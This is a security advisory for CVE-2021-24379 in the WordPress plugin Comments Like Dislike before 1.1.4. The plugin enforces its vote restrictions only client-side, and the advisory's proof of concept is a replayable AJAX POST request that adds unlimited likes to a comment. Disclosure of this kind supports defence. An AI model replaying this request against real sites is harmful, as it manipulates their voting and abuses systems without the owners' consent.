Comments Like Dislike < 1.1.4 – Add Like/Dislike Bypass | CVE 2021-24379

Description

The plugin allows users to like/dislike posted comments, however does not prevent them from replaying the AJAX request to add a like. This allows any user (even unauthenticated) to add unlimited like/dislike to any comment. The plugin appears to have some Restriction modes, such as Cookie Restriction, IP Restrictions, Logged In User Restriction, however, they do not prevent such attack as they only check client side

v1.1.3 fixed the issue for the Logged In User Restriction mode, but not the others. v1.1.4 fixed it for the remaining affected modes.

Proof of Concept

Capture the request made when adding a like to a comment, and replay the request

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 73
Connection: close

comment_id=6&action=cld_comment_ajax_action&type=like&_wpnonce=a772faf68b